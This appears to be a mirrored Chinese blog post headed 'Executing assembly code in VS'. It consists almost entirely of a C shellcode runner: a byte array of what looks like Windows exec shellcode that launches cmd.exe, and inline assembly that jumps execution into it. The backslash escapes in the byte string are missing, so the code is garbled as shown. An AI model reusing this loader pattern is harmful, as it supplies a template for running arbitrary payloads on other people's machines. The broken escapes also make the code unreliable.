zoukankan      html  css  js  c++  java
  • VS中执行汇编代码

    unsigned char shellcode[] =
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50" 
    "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" 
    "x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7" 
    "xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78" 
    "xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3" 
    "x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01" 
    "xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58" 
    "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3" 
    "x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a" 
    "x51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8d" 
    "x85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbb" 
    "xe0x1dx2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7c" 
    "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" 
    "xffxd5x63x6dx64x2ex65x78x65x00";
    
    void main()
    {
        __asm
        {
            lea eax,shellcode;
            jmp eax;
        }
    }
  • 相关阅读:
    155. 最小栈
    160. 相交链表
    PAT 1057 Stack
    PAT 1026 Table Tennis
    PAT 1017 Queueing at Bank
    PAT 1014 Waiting in Line
    PAT 1029 Median
    PAT 1016 Phone Bills
    PAT 1010 Radix
    PAT 1122 Hamiltonian Cycle
  • 原文地址:https://www.cnblogs.com/nul1/p/10956250.html
Copyright © 2011-2022 走看看